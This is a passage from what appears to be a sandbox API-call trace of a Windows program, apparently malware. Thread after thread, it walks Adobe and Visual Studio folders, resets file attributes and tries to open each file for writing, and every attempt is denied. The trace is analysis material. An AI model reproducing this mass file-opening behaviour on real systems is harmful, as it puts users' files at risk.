RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438ba8) returned 1 Thread: id = 734 os_tid = 0xc08 [0051.279] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hrv")) returned 0x20 [0056.969] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV", dwFileAttributes=0x20) returned 0 [0056.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hrv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.969] GetLastError () returned 0x5 [0056.969] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HRV", dwFileAttributes=0x20) returned 0 [0056.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438c40) returned 1 Thread: id = 735 os_tid = 0xc10 [0051.280] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hun")) returned 0x20 [0056.970] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN", dwFileAttributes=0x20) returned 0 [0056.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.hun"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.971] GetLastError () returned 0x5 [0056.971] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.HUN", dwFileAttributes=0x20) returned 0 [0056.971] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438cd8) returned 1 Thread: id = 736 os_tid = 0xc14 [0051.281] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ita")) returned 0x20 [0055.806] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA", dwFileAttributes=0x20) returned 0 [0055.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ita"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0055.806] GetLastError () returned 0x5 [0055.806] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ITA", dwFileAttributes=0x20) returned 0 [0055.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438d70) returned 1 Thread: id = 737 os_tid = 0xc18 [0051.282] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.jpn")) returned 0x20 [0056.977] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN", dwFileAttributes=0x20) returned 0 [0056.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.jpn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.978] GetLastError () returned 0x5 [0056.978] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.JPN", dwFileAttributes=0x20) returned 0 [0056.978] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438e08) returned 1 Thread: id = 738 os_tid = 0xc28 [0051.282] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.kor")) returned 0x20 [0056.992] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR", dwFileAttributes=0x20) returned 0 [0056.992] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.kor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.992] GetLastError () returned 0x5 [0056.992] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.KOR", dwFileAttributes=0x20) returned 0 [0056.992] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438ea0) returned 1 Thread: id = 739 os_tid = 0xc2c [0051.282] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nld")) returned 0x20 [0056.990] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD", dwFileAttributes=0x20) returned 0 [0056.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nld"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.990] GetLastError () returned 0x5 [0056.990] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NLD", dwFileAttributes=0x20) returned 0 [0056.991] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438f38) returned 1 Thread: id = 740 os_tid = 0xc30 [0051.283] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nor")) returned 0x20 [0056.989] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR", dwFileAttributes=0x20) returned 0 [0056.989] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.nor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.989] GetLastError () returned 0x5 [0056.989] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.NOR", dwFileAttributes=0x20) returned 0 [0056.989] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438fd0) returned 1 Thread: id = 741 os_tid = 0xc34 [0051.283] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.pol")) returned 0x20 [0056.976] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL", dwFileAttributes=0x20) returned 0 [0056.976] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.pol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.976] GetLastError () returned 0x5 [0056.976] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.POL", dwFileAttributes=0x20) returned 0 [0056.976] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439068) returned 1 Thread: id = 742 os_tid = 0xc38 [0051.283] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ptb")) returned 0x20 [0056.987] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB", dwFileAttributes=0x20) returned 0 [0056.987] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ptb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.987] GetLastError () returned 0x5 [0056.987] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.PTB", dwFileAttributes=0x20) returned 0 [0056.987] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439100) returned 1 Thread: id = 743 os_tid = 0xc3c [0051.284] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rum")) returned 0x20 [0056.975] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM", dwFileAttributes=0x20) returned 0 [0056.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rum"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.975] GetLastError () returned 0x5 [0056.975] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUM", dwFileAttributes=0x20) returned 0 [0056.975] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439198) returned 1 Thread: id = 744 os_tid = 0xc40 [0051.284] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rus")) returned 0x20 [0056.973] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS", dwFileAttributes=0x20) returned 0 [0056.973] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.rus"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.973] GetLastError () returned 0x5 [0056.973] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.RUS", dwFileAttributes=0x20) returned 0 [0056.973] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439230) returned 1 Thread: id = 745 os_tid = 0xc44 [0051.284] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sky")) returned 0x20 [0056.986] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY", dwFileAttributes=0x20) returned 0 [0056.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.986] GetLastError () returned 0x5 [0056.986] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SKY", dwFileAttributes=0x20) returned 0 [0056.986] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4392c8) returned 1 Thread: id = 746 os_tid = 0xc48 [0051.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.slv")) returned 0x20 [0056.984] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV", dwFileAttributes=0x20) returned 0 [0056.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.slv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.985] GetLastError () returned 0x5 [0056.985] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SLV", dwFileAttributes=0x20) returned 0 [0056.985] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439360) returned 1 Thread: id = 747 os_tid = 0xc4c [0051.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.suo")) returned 0x20 [0056.983] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO", dwFileAttributes=0x20) returned 0 [0056.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.983] GetLastError () returned 0x5 [0056.983] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SUO", dwFileAttributes=0x20) returned 0 [0056.983] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4393f8) returned 1 Thread: id = 748 os_tid = 0xc50 [0051.285] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sve")) returned 0x20 [0056.982] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE", dwFileAttributes=0x20) returned 0 [0056.982] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.982] GetLastError () returned 0x5 [0056.982] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.SVE", dwFileAttributes=0x20) returned 0 [0056.982] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439490) returned 1 Thread: id = 749 os_tid = 0xc54 [0051.286] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.tur")) returned 0x20 [0056.980] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR", dwFileAttributes=0x20) returned 0 [0056.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.tur"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.980] GetLastError () returned 0x5 [0056.980] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.TUR", dwFileAttributes=0x20) returned 0 [0056.981] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439528) returned 1 Thread: id = 750 os_tid = 0xc58 [0051.286] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ukr")) returned 0x20 [0056.979] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR", dwFileAttributes=0x20) returned 0 [0056.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\acropdf.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.979] GetLastError () returned 0x5 [0056.979] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.UKR", dwFileAttributes=0x20) returned 0 [0056.979] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4395c0) returned 1 Thread: id = 751 os_tid = 0xc5c [0051.509] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cat")) returned 0x20 [0056.972] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT", dwFileAttributes=0x20) returned 0 [0056.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\activex\\pdfshell.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0056.972] GetLastError () returned 0x5 [0056.972] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.CAT", dwFileAttributes=0x20) returned 0 [0056.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439658) returned 1 Thread: id = 752 os_tid = 0xc64 [0051.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43dfc0 [0051.509] wcscpy (in: _Dest=0x43dfc0, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" [0051.509] wcscat (in: _Dest=0x43dfc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\" [0051.509] wcscat (in: _Dest=0x43dfc0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*" [0051.510] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8800 [0051.510] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0051.510] wcscmp (_String1=".", _String2=".") returned 0 [0051.510] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.510] wcscmp (_String1="..", _String2=".") returned 1 [0051.510] wcscmp (_String1="..", _String2="..") returned 0 [0051.510] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0051.510] FindClose (in: hFindFile=0x4405e0 | out: hFindFile=0x4405e0) returned 1 [0051.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4b8800) returned 1 [0051.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43dfc0) returned 1 [0051.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee0b8) returned 1 Thread: id = 753 os_tid = 0xc68 [0051.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5ed5b20 [0051.511] wcscpy (in: _Dest=0x5ed5b20, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0051.511] wcscat (in: _Dest=0x5ed5b20, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\" [0051.511] wcscat (in: _Dest=0x5ed5b20, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*" [0051.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b8800 [0051.511] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0051.512] wcscmp (_String1=".", _String2=".") returned 0 [0051.512] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.512] wcscmp (_String1="..", _String2=".") returned 1 [0051.512] wcscmp (_String1="..", _String2="..") returned 0 [0051.512] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x4b8800 | out: lpFindFileData=0x4b8800*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1 [0051.512] wcscmp (_String1="directories.acrodata", _String2=".") returned 1 [0051.512] wcscmp (_String1="directories.acrodata", _String2="..") returned 1 [0051.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee0b8 [0051.512] wcscpy (in: _Dest=0x4ee0b8, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security" [0051.512] wcscat (in: _Dest=0x4ee0b8, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") 